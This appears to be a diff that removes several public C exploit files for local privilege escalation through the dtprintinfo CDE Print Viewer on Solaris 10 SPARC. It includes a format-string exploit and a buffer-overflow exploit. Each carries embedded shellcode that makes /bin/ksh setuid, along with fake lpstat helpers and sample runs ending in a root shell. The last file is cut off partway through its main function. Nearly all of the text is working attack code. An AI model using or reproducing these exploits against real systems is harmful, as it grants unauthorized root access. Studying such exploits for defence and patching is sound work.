|
||||||
{
|
|
||||||
int i;
|
|
||||||
|
|
||||||
/* null termination */
|
|
||||||
if (!string) {
|
|
||||||
env[env_pos] = NULL;
|
|
||||||
return env_len;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* add the variable to envp */
|
|
||||||
env[env_pos] = string;
|
|
||||||
env_len += strlen(string) + 1;
|
|
||||||
env_pos++;
|
|
||||||
|
|
||||||
/* pad the envp using zeroes */
|
|
||||||
if ((strlen(string) + 1) % 4)
|
|
||||||
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
|
|
||||||
env[env_pos] = string + strlen(string);
|
|
||||||
env_len++;
|
|
||||||
}
|
|
||||||
|
|
||||||
return env_len;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* check_zero(): check an address for the presence of a 0x00
|
|
||||||
*/
|
|
||||||
void check_zero(int addr, char *pattern)
|
|
||||||
{
|
|
||||||
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
|
|
||||||
!(addr & 0xff000000)) {
|
|
||||||
fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* get_env_addr(): get environment address using a helper program
|
|
||||||
*/
|
|
||||||
int get_env_addr(char *path, char **argv)
|
|
||||||
{
|
|
||||||
char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
|
|
||||||
char hex[11] = "\x00";
|
|
||||||
int fd[2], addr;
|
|
||||||
|
|
||||||
/* truncate program name at correct length and create a hard link */
|
|
||||||
prog[strlen(path)] = 0x0;
|
|
||||||
unlink(prog);
|
|
||||||
link(argv[0], prog);
|
|
||||||
|
|
||||||
/* open pipe to read program output */
|
|
||||||
if (pipe(fd) < 0) {
|
|
||||||
perror("pipe");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
switch(fork()) {
|
|
||||||
|
|
||||||
case -1: /* cannot fork */
|
|
||||||
perror("fork");
|
|
||||||
exit(1);
|
|
||||||
|
|
||||||
case 0: /* child */
|
|
||||||
dup2(fd[1], 1);
|
|
||||||
close(fd[0]);
|
|
||||||
close(fd[1]);
|
|
||||||
execve(prog, arg, env);
|
|
||||||
perror("execve");
|
|
||||||
exit(1);
|
|
||||||
|
|
||||||
default: /* parent */
|
|
||||||
close(fd[1]);
|
|
||||||
read(fd[0], hex, sizeof(hex));
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* check and return address */
|
|
||||||
if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
|
|
||||||
fprintf(stderr, "error: cannot read ff address from helper program\n");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
return addr + 4;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* search_ldso(): search for a symbol inside ld.so.1
|
|
||||||
*/
|
|
||||||
int search_ldso(char *sym)
|
|
||||||
{
|
|
||||||
int addr;
|
|
||||||
void *handle;
|
|
||||||
Link_map *lm;
|
|
||||||
|
|
||||||
/* open the executable object file */
|
|
||||||
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
|
|
||||||
perror("dlopen");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* get dynamic load information */
|
|
||||||
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
|
|
||||||
perror("dlinfo");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* search for the address of the symbol */
|
|
||||||
if ((addr = (int)dlsym(handle, sym)) == NULL) {
|
|
||||||
fprintf(stderr, "error: sorry, function %s() not found\n", sym);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* close the executable object file */
|
|
||||||
dlclose(handle);
|
|
||||||
|
|
||||||
check_zero(addr - 4, sym);
|
|
||||||
return addr;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* search_rwx_mem(): search for an RWX memory segment valid for all
|
|
||||||
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
|
|
||||||
*/
|
|
||||||
int search_rwx_mem(void)
|
|
||||||
{
|
|
||||||
int fd;
|
|
||||||
char tmp[16];
|
|
||||||
prmap_t map;
|
|
||||||
int addr = 0, addr_old;
|
|
||||||
|
|
||||||
/* open the proc filesystem */
|
|
||||||
sprintf(tmp,"/proc/%d/map", (int)getpid());
|
|
||||||
if ((fd = open(tmp, O_RDONLY)) < 0) {
|
|
||||||
fprintf(stderr, "error: can't open %s\n", tmp);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* search for the last RWX memory segment before stack (last - 1) */
|
|
||||||
while (read(fd, &map, sizeof(map)))
|
|
||||||
if (map.pr_vaddr)
|
|
||||||
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
|
|
||||||
addr_old = addr;
|
|
||||||
addr = map.pr_vaddr;
|
|
||||||
}
|
|
||||||
close(fd);
|
|
||||||
|
|
||||||
/* add 4 to the exact address null bytes */
|
|
||||||
if (!(addr_old & 0xff))
|
|
||||||
addr_old |= 0x04;
|
|
||||||
if (!(addr_old & 0xff00))
|
|
||||||
addr_old |= 0x0400;
|
|
||||||
|
|
||||||
return addr_old;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* set_val(): copy a dword inside a buffer
|
|
||||||
*/
|
|
||||||
void set_val(char *buf, int pos, int val)
|
|
||||||
{
|
|
||||||
buf[pos] = (val & 0xff000000) >> 24;
|
|
||||||
buf[pos + 1] = (val & 0x00ff0000) >> 16;
|
|
||||||
buf[pos + 2] = (val & 0x0000ff00) >> 8;
|
|
||||||
buf[pos + 3] = (val & 0x000000ff);
|
|
||||||
}
|
|
||||||
|
|
@ -1,309 +0,0 @@
|
||||||
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)
|
|
||||||
# Date: 2021-02-01
|
|
||||||
# Exploit Author: Marco Ivaldi
|
|
||||||
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
|
|
||||||
# Version: Solaris 10
|
|
||||||
# Tested on: Solaris 10 1/13 SPARC
|
|
||||||
|
|
||||||
/*
|
|
||||||
* raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE
|
|
||||||
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
|
|
||||||
*
|
|
||||||
* "You still haven't given up on me?" -- Bruce Wayne
|
|
||||||
* "Never!" -- Alfred Pennyworth
|
|
||||||
*
|
|
||||||
* I would like to thank ~A. for his incredible research work spanning decades,
|
|
||||||
* an endless source of inspiration for me.
|
|
||||||
*
|
|
||||||
* Whoah, this one wasn't easy! This is a pretty lean exploit now, but its
|
|
||||||
* development took me some time. It's been almost two weeks, and I came
|
|
||||||
* close to giving up a couple of times. Here's a summary of the main
|
|
||||||
* roadblocks and complications I ran into while porting my dtprintinfo
|
|
||||||
* format string exploit to SPARC:
|
|
||||||
*
|
|
||||||
* - Half word writes and similar techniques that need to print a large amount
|
|
||||||
* of chars are problematic, because we have both a format string bug and a
|
|
||||||
* stack-based buffer overflow, and we risk running out of stack space! We
|
|
||||||
* might be able to prevent this by increasing the size of the padding buffer,
|
|
||||||
* (buf2) but your mileage may vary.
|
|
||||||
*
|
|
||||||
* - I therefore opted for a more portable single-byte write, but SPARC is a
|
|
||||||
* RISC architecture and as such it's not happy with memory operations on
|
|
||||||
* misaligned addresses... So I had to figure out a possibly novel technique
|
|
||||||
* to prevent the dreaded Bus Error. It involves the %hhn format string, check
|
|
||||||
* it out!
|
|
||||||
*
|
|
||||||
* - Once I had my write-what primitive figured out, I needed to pick a suitable
|
|
||||||
* memory location to patch... and I almost ran out of options. Function
|
|
||||||
* activation records turned out to be cumbersome and unreliable (see my PoC
|
|
||||||
* raptor_dtprintcheckdir_sparc.c), .plt entries in the vulnerable binary
|
|
||||||
* start with a null byte, and the usual OS function pointers that were
|
|
||||||
* popular targets 15 years ago are not present in modern Solaris 10 releases
|
|
||||||
* anymore. Finally, I noticed that the libc also contains .plt jump codes
|
|
||||||
* that get executed upon function calling. Since they don't start with a null
|
|
||||||
* byte, I decided to target them.
|
|
||||||
*
|
|
||||||
* - Instead of meddling with jump codes, to keep things simpler I decided to
|
|
||||||
* craft the shellcode directly in the .plt section of libc by exploiting the
|
|
||||||
* format string bug. This technique proved to be very effective, but
|
|
||||||
* empirical tests showed that (for unknown reasons) the shellcode size was
|
|
||||||
* limited to 36 bytes. It looks like there's a limit on the number of args,
|
|
||||||
* to sprintf(), unrelated to where we write in memory. Who cares, 36 bytes
|
|
||||||
* are just enough to escalate privileges.
|
|
||||||
*
|
|
||||||
* After I plugged a small custom shellcode into my exploit, it worked like a
|
|
||||||
* charm. Simple, isn't it?;)
|
|
||||||
*
|
|
||||||
* To get the libc base, use pmap on the dtprintinfo process, e.g.:
|
|
||||||
* $ pmap 4190 | grep libc.so.1 | grep r-x
|
|
||||||
* FE800000 1224K r-x-- /lib/libc.so.1
|
|
||||||
*
|
|
||||||
* To grab the offset to strlen in .plt, you can use objdump as follows:
|
|
||||||
* $ objdump -R /usr/lib/libc.so.1 | grep strlen
|
|
||||||
* 0014369c R_SPARC_JMP_SLOT strlen
|
|
||||||
*
|
|
||||||
* This bug was likely fixed during the general cleanup of CDE code done by
|
|
||||||
* Oracle in response to my recently reported vulnerabilities. However, I can't
|
|
||||||
* confirm this because I have no access to their patches:/
|
|
||||||
*
|
|
||||||
* See also:
|
|
||||||
* raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
|
|
||||||
* raptor_dtprintcheckdir_intel2.c
|
|
||||||
* raptor_dtprintcheckdir_sparc.c (just a proof of concept)
|
|
||||||
*
|
|
||||||
* Usage:
|
|
||||||
* $ gcc raptor_dtprintcheckdir_sparc2.c -o raptor_dtprintcheckdir_sparc2 -Wall
|
|
||||||
* [on your xserver: disable the access control]
|
|
||||||
* $ ./raptor_dtprintcheckdir_sparc2 10.0.0.104:0
|
|
||||||
* raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE
|
|
||||||
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
|
|
||||||
*
|
|
||||||
* Using SI_PLATFORM : SUNW,SPARC-Enterprise (5.10)
|
|
||||||
* Using libc/.plt/strlen : 0xfe94369c
|
|
||||||
*
|
|
||||||
* Don't worry if you get a SIGILL, just run /bin/ksh anyway!
|
|
||||||
*
|
|
||||||
* lpstat called with -v
|
|
||||||
* lpstat called with -v
|
|
||||||
* lpstat called with -d
|
|
||||||
* [on your xserver: double click on the fake "fnord" printer]
|
|
||||||
* Illegal Instruction
|
|
||||||
* $ ls -l /bin/ksh
|
|
||||||
* -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh
|
|
||||||
* $ ksh
|
|
||||||
* # id
|
|
||||||
* uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
|
|
||||||
* #
|
|
||||||
*
|
|
||||||
* Tested on:
|
|
||||||
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
|
|
||||||
* [previous Solaris versions are also likely vulnerable (and easier to exploit)]
|
|
||||||
*/
|
|
||||||
|
|
||||||
#include <fcntl.h>
|
|
||||||
#include <link.h>
|
|
||||||
#include <procfs.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <strings.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <sys/stat.h>
|
|
||||||
#include <sys/systeminfo.h>
|
|
||||||
|
|
||||||
#define INFO1 "raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE"
|
|
||||||
#define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
|
|
||||||
|
|
||||||
#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program
|
|
||||||
#define BUFSIZE 3000 // size of evil env var
|
|
||||||
#define BUFSIZE2 10000 // size of padding buf
|
|
||||||
#define STACKPOPSEQ "%.8x" // stackpop sequence
|
|
||||||
#define STACKPOPS 383 // number of stackpops
|
|
||||||
|
|
||||||
/* default retloc is .plt/strlen in libc */
|
|
||||||
#define LIBCBASE 0xfe800000 // base address of libc
|
|
||||||
#define STRLEN 0x0014369c // .plt/strlen offset
|
|
||||||
|
|
||||||
/* calculate numeric arguments for write string */
|
|
||||||
#define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \
|
|
||||||
N1 = (B4 - BASE) % 0x100; \
|
|
||||||
N2 = (B2 - BASE - N1) % 0x100; \
|
|
||||||
N3 = (B1 - BASE - N1 - N2) % 0x100; \
|
|
||||||
N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \
|
|
||||||
BASE += N1 + N2 + N3 + N4; \
|
|
||||||
}
|
|
||||||
|
|
||||||
char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */
|
|
||||||
/* chmod("./me", 037777777777) */
|
|
||||||
"\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
|
|
||||||
"\x20\xbf\xff\xff" /* bn,a <sc - 4> */
|
|
||||||
"\x20\xbf\xff\xff" /* bn,a <sc> */
|
|
||||||
"\x7f\xff\xff\xff" /* call <sc + 4> */
|
|
||||||
"\x90\x03\xe0\x14" /* add %o7, 0x14, %o0 */
|
|
||||||
"\xc0\x22\x20\x04" /* clr [ %o0 + 4 ] */
|
|
||||||
"\x82\x10\x20\x0f" /* mov 0xf, %g1 */
|
|
||||||
"\x91\xd0\x20\x08" /* ta 8 */
|
|
||||||
"./me";
|
|
||||||
|
|
||||||
/* globals */
|
|
||||||
char *arg[2] = {"foo", NULL};
|
|
||||||
char *env[256];
|
|
||||||
int env_pos = 0, env_len = 0;
|
|
||||||
|
|
||||||
/* prototypes */
|
|
||||||
int add_env(char *string);
|
|
||||||
void check_zero(int addr, char *pattern);
|
|
||||||
|
|
||||||
/*
|
|
||||||
* main()
|
|
||||||
*/
|
|
||||||
int main(int argc, char **argv)
|
|
||||||
{
|
|
||||||
char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2];
|
|
||||||
char platform[256], release[256], display[256];
|
|
||||||
int retloc = LIBCBASE + STRLEN;
|
|
||||||
|
|
||||||
int i, stackpops = STACKPOPS;
|
|
||||||
unsigned base, n[strlen(sc)]; /* must be unsigned */
|
|
||||||
|
|
||||||
/* lpstat code to add a fake printer */
|
|
||||||
if (!strcmp(argv[0], "lpstat")) {
|
|
||||||
|
|
||||||
/* check command line */
|
|
||||||
if (argc != 2)
|
|
||||||
exit(1);
|
|
||||||
|
|
||||||
/* print the expected output and exit */
|
|
||||||
if(!strcmp(argv[1], "-v")) {
|
|
||||||
fprintf(stderr, "lpstat called with -v\n");
|
|
||||||
printf("device for fnord: /dev/null\n");
|
|
||||||
} else {
|
|
||||||
fprintf(stderr, "lpstat called with -d\n");
|
|
||||||
printf("system default destination: fnord\n");
|
|
||||||
}
|
|
||||||
exit(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* print exploit information */
|
|
||||||
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
|
|
||||||
|
|
||||||
/* process command line */
|
|
||||||
if (argc < 2) {
|
|
||||||
fprintf(stderr, "usage:\n$ %s xserver:display [retloc]\n$ /bin/ksh\n\n", argv[0]);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
sprintf(display, "DISPLAY=%s", argv[1]);
|
|
||||||
if (argc > 2)
|
|
||||||
retloc = (int)strtoul(argv[2], (char **)NULL, 0);
|
|
||||||
|
|
||||||
/* evil env var: name + shellcode + padding */
|
|
||||||
bzero(buf, sizeof(buf));
|
|
||||||
memcpy(buf, "REQ_DIR=", strlen("REQ_DIR="));
|
|
||||||
p += strlen("REQ_DIR=");
|
|
||||||
|
|
||||||
/* padding buffer to avoid stack overflow */
|
|
||||||
memset(buf2, 'B', sizeof(buf2));
|
|
||||||
buf2[sizeof(buf2) - 1] = 0x0;
|
|
||||||
|
|
||||||
/* fill the envp, keeping padding */
|
|
||||||
add_env(buf2);
|
|
||||||
add_env(buf);
|
|
||||||
add_env(display);
|
|
||||||
add_env("TMP_DIR=/tmp/just"); /* we must control this empty dir */
|
|
||||||
add_env("PATH=.:/usr/bin");
|
|
||||||
add_env("HOME=/tmp");
|
|
||||||
add_env(NULL);
|
|
||||||
|
|
||||||
/* format string: retloc */
|
|
||||||
for (i = retloc; i - retloc < strlen(sc); i += 4) {
|
|
||||||
check_zero(i, "ret location");
|
|
||||||
*((void **)p) = (void *)(i); p += 4; /* 0x000000ff */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(i); p += 4; /* 0x00ff0000 */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(i); p += 4; /* 0xff000000 */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(i + 2); p += 4; /* 0x0000ff00 */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* format string: stackpop sequence */
|
|
||||||
base = p - buf - strlen("REQ_DIR=");
|
|
||||||
for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
|
|
||||||
memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ));
|
|
||||||
|
|
||||||
/* calculate numeric arguments */
|
|
||||||
for (i = 0; i < strlen(sc); i += 4)
|
|
||||||
CALCARGS(n[i], n[i + 1], n[i + 2], n[i + 3], sc[i], sc[i + 1], sc[i + 2], sc[i + 3], base);
|
|
||||||
|
|
||||||
/* check for potentially dangerous numeric arguments below 10 */
|
|
||||||
for (i = 0; i < strlen(sc); i++)
|
|
||||||
n[i] += (n[i] < 10) ? (0x100) : (0);
|
|
||||||
|
|
||||||
/* format string: write string */
|
|
||||||
for (i = 0; i < strlen(sc); i += 4)
|
|
||||||
p += sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[i], n[i + 1], n[i + 2], n[i + 3]);
|
|
||||||
|
|
||||||
/* setup the directory structure and the symlink to /bin/ksh */
|
|
||||||
unlink("/tmp/just/chmod/me");
|
|
||||||
rmdir("/tmp/just/chmod");
|
|
||||||
rmdir("/tmp/just");
|
|
||||||
mkdir("/tmp/just", S_IRWXU | S_IRWXG | S_IRWXO);
|
|
||||||
mkdir("/tmp/just/chmod", S_IRWXU | S_IRWXG | S_IRWXO);
|
|
||||||
symlink("/bin/ksh", "/tmp/just/chmod/me");
|
|
||||||
|
|
||||||
/* create a symlink for the fake lpstat */
|
|
||||||
unlink("lpstat");
|
|
||||||
symlink(argv[0], "lpstat");
|
|
||||||
|
|
||||||
/* print some output */
|
|
||||||
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
|
|
||||||
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
|
|
||||||
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
|
|
||||||
fprintf(stderr, "Using libc/.plt/strlen\t: 0x%p\n\n", (void *)retloc);
|
|
||||||
fprintf(stderr, "Don't worry if you get a SIGILL, just run /bin/ksh anyway!\n\n");
|
|
||||||
|
|
||||||
/* run the vulnerable program */
|
|
||||||
execve(VULN, arg, env);
|
|
||||||
perror("execve");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* add_env(): add a variable to envp and pad if needed
|
|
||||||
*/
|
|
||||||
int add_env(char *string)
|
|
||||||
{
|
|
||||||
int i;
|
|
||||||
|
|
||||||
/* null termination */
|
|
||||||
if (!string) {
|
|
||||||
env[env_pos] = NULL;
|
|
||||||
return env_len;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* add the variable to envp */
|
|
||||||
env[env_pos] = string;
|
|
||||||
env_len += strlen(string) + 1;
|
|
||||||
env_pos++;
|
|
||||||
|
|
||||||
/* pad the envp using zeroes */
|
|
||||||
if ((strlen(string) + 1) % 4)
|
|
||||||
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
|
|
||||||
env[env_pos] = string + strlen(string);
|
|
||||||
env_len++;
|
|
||||||
}
|
|
||||||
|
|
||||||
return env_len;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* check_zero(): check an address for the presence of a 0x00
|
|
||||||
*/
|
|
||||||
void check_zero(int addr, char *pattern)
|
|
||||||
{
|
|
||||||
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
|
|
||||||
!(addr & 0xff000000)) {
|
|
||||||
fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
@ -1,437 +0,0 @@
|
||||||
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3)
|
|
||||||
# Date: 2021-02-01
|
|
||||||
# Exploit Author: Marco Ivaldi
|
|
||||||
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
|
|
||||||
# Version: Solaris 10
|
|
||||||
# Tested on: Solaris 10 1/13 SPARC
|
|
||||||
|
|
||||||
/*
|
|
||||||
* raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC
|
|
||||||
* Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info>
|
|
||||||
*
|
|
||||||
* 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
|
|
||||||
* local root. Many thanks to Dave Aitel for discovering this vulnerability
|
|
||||||
* and for his interesting research activities on Solaris/SPARC.
|
|
||||||
*
|
|
||||||
* "None of my dtprintinfo work is public, other than that 0day pack being
|
|
||||||
* leaked to all hell and back. It should all basically still work. Let's
|
|
||||||
* keep it that way, cool? :>" -- Dave Aitel
|
|
||||||
*
|
|
||||||
* This is a revised version of my original exploit that should work on
|
|
||||||
* modern Solaris 10 SPARC boxes. I had to figure out a new way to obtain
|
|
||||||
* the needed addresses that's hopefully universal (goodbye VOODOO macros!).
|
|
||||||
* and I had to work around some annoying crashes, which led me to write
|
|
||||||
* a custom shellcode that makes /bin/ksh setuid. Crude but effective;)
|
|
||||||
* If you feel brave, you can also try my experimental exec shellcode, for
|
|
||||||
* SPARC V8 plus and above architectures only ("It works on my computer!").
|
|
||||||
*
|
|
||||||
* I'm developing my exploits on a Solaris 10 Branded Zone and I strongly
|
|
||||||
* suspect this is the reason for the weird behavior in the execution of
|
|
||||||
* standard SYS_exec shellcodes, because the crash happens in s10_brand.so.1,
|
|
||||||
* in the strncmp() function called by brand_uucopystr(). If that's indeed
|
|
||||||
* the case, any shellcode (including lsd-pl.net's classic shellcode) should
|
|
||||||
* work on physical systems and I just spent a non-neglibible amount of time
|
|
||||||
* debugging this for no valid reason but my love of hacking... Oh well!
|
|
||||||
*
|
|
||||||
* Usage:
|
|
||||||
* $ gcc raptor_dtprintname_sparc3.c -o raptor_dtprintname_sparc3 -Wall
|
|
||||||
* [on your xserver: disable the access control]
|
|
||||||
* $ ./raptor_dtprintname_sparc3 10.0.0.122:0
|
|
||||||
* [...]
|
|
||||||
* $ ls -l /bin/ksh
|
|
||||||
* -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh
|
|
||||||
* $ /bin/ksh
|
|
||||||
* # id
|
|
||||||
* uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
|
|
||||||
* #
|
|
||||||
*
|
|
||||||
* Tested on:
|
|
||||||
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise (Solaris 10 1/13)
|
|
||||||
*/
|
|
||||||
|
|
||||||
#include <fcntl.h>
|
|
||||||
#include <link.h>
|
|
||||||
#include <procfs.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <strings.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <sys/systeminfo.h>
|
|
||||||
|
|
||||||
#define INFO1 "raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC"
|
|
||||||
#define INFO2 "Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
|
|
||||||
|
|
||||||
#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
|
|
||||||
#define BUFSIZE 301 // size of the printer name
|
|
||||||
#define FFSIZE 64 + 1 // size of the fake frame
|
|
||||||
#define DUMMY 0xdeadbeef // dummy memory address
|
|
||||||
|
|
||||||
//#define USE_EXEC_SC // uncomment to use exec shellcode
|
|
||||||
|
|
||||||
#ifdef USE_EXEC_SC
|
|
||||||
char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */
|
|
||||||
/* setuid(0) */
|
|
||||||
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
|
|
||||||
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
|
|
||||||
"\x91\xd0\x20\x08" /* ta 8 */
|
|
||||||
/* execve("/bin/ksh", argv, NULL) */
|
|
||||||
"\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */
|
|
||||||
"\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */
|
|
||||||
"\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */
|
|
||||||
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
|
|
||||||
"\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */
|
|
||||||
"\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */
|
|
||||||
"\x82\x10\x20\x0b" /* mov 0xb, %g1 */
|
|
||||||
"\x91\xd0\x20\x08" /* ta 8 */
|
|
||||||
"\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */
|
|
||||||
"\x41\x41\x41\x41" /* placeholder */
|
|
||||||
"/bin/ksh";
|
|
||||||
#else
|
|
||||||
char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */
|
|
||||||
/* setuid(0) */
|
|
||||||
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
|
|
||||||
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
|
|
||||||
"\x91\xd0\x20\x08" /* ta 8 */
|
|
||||||
/* chmod("/bin/ksh", 037777777777) */
|
|
||||||
"\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
|
|
||||||
"\x20\xbf\xff\xff" /* bn,a <sc - 4> */
|
|
||||||
"\x20\xbf\xff\xff" /* bn,a <sc> */
|
|
||||||
"\x7f\xff\xff\xff" /* call <sc + 4> */
|
|
||||||
"\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */
|
|
||||||
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
|
|
||||||
"\x82\x10\x20\x0f" /* mov 0xf, %g1 */
|
|
||||||
"\x91\xd0\x20\x08" /* ta 8 */
|
|
||||||
/* exit(0) */
|
|
||||||
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
|
|
||||||
"\x82\x10\x20\x01" /* mov 1, %g1 */
|
|
||||||
"\x91\xd0\x20\x08" /* ta 8 */
|
|
||||||
"/bin/ksh";
|
|
||||||
#endif /* USE_EXEC_SC */
|
|
||||||
|
|
||||||
/* globals */
|
|
||||||
char *arg[2] = {"foo", NULL};
|
|
||||||
char *env[256];
|
|
||||||
int env_pos = 0, env_len = 0;
|
|
||||||
|
|
||||||
/* prototypes */
|
|
||||||
int add_env(char *string);
|
|
||||||
void check_zero(int addr, char *pattern);
|
|
||||||
int get_ff_addr(char *path, char **argv);
|
|
||||||
int search_ldso(char *sym);
|
|
||||||
int search_rwx_mem(void);
|
|
||||||
void set_val(char *buf, int pos, int val);
|
|
||||||
|
|
||||||
/*
|
|
||||||
* main()
|
|
||||||
*/
|
|
||||||
int main(int argc, char **argv)
|
|
||||||
{
|
|
||||||
char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16];
|
|
||||||
char platform[256], release[256], display[256];
|
|
||||||
int i, ff_addr, sc_addr, ret_pos, fpt_pos;
|
|
||||||
|
|
||||||
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
|
|
||||||
int ret = search_ldso("sprintf");
|
|
||||||
int rwx_mem = search_rwx_mem() + 24; /* stable address */
|
|
||||||
|
|
||||||
/* fake lpstat code */
|
|
||||||
if (!strcmp(argv[0], "lpstat")) {
|
|
||||||
|
|
||||||
/* check command line */
|
|
||||||
if (argc != 2)
|
|
||||||
exit(1);
|
|
||||||
|
|
||||||
/* get ret and fake frame addresses from environment */
|
|
||||||
ret = (int)strtoul(getenv("RET"), (char **)NULL, 0);
|
|
||||||
ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0);
|
|
||||||
|
|
||||||
/* prepare the evil printer name */
|
|
||||||
memset(buf, 'A', sizeof(buf));
|
|
||||||
buf[sizeof(buf) - 1] = 0x0;
|
|
||||||
|
|
||||||
/* fill with return and fake frame addresses */
|
|
||||||
for (i = 0; i < BUFSIZE; i += 4) {
|
|
||||||
/* apparently, we don't need to bruteforce */
|
|
||||||
set_val(buf, i, ret - 4);
|
|
||||||
set_val(buf, i += 4, ff_addr);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* print the expected output and exit */
|
|
||||||
if(!strcmp(argv[1], "-v")) {
|
|
||||||
fprintf(stderr, "lpstat called with -v\n");
|
|
||||||
printf("device for %s: /dev/null\n", buf);
|
|
||||||
} else {
|
|
||||||
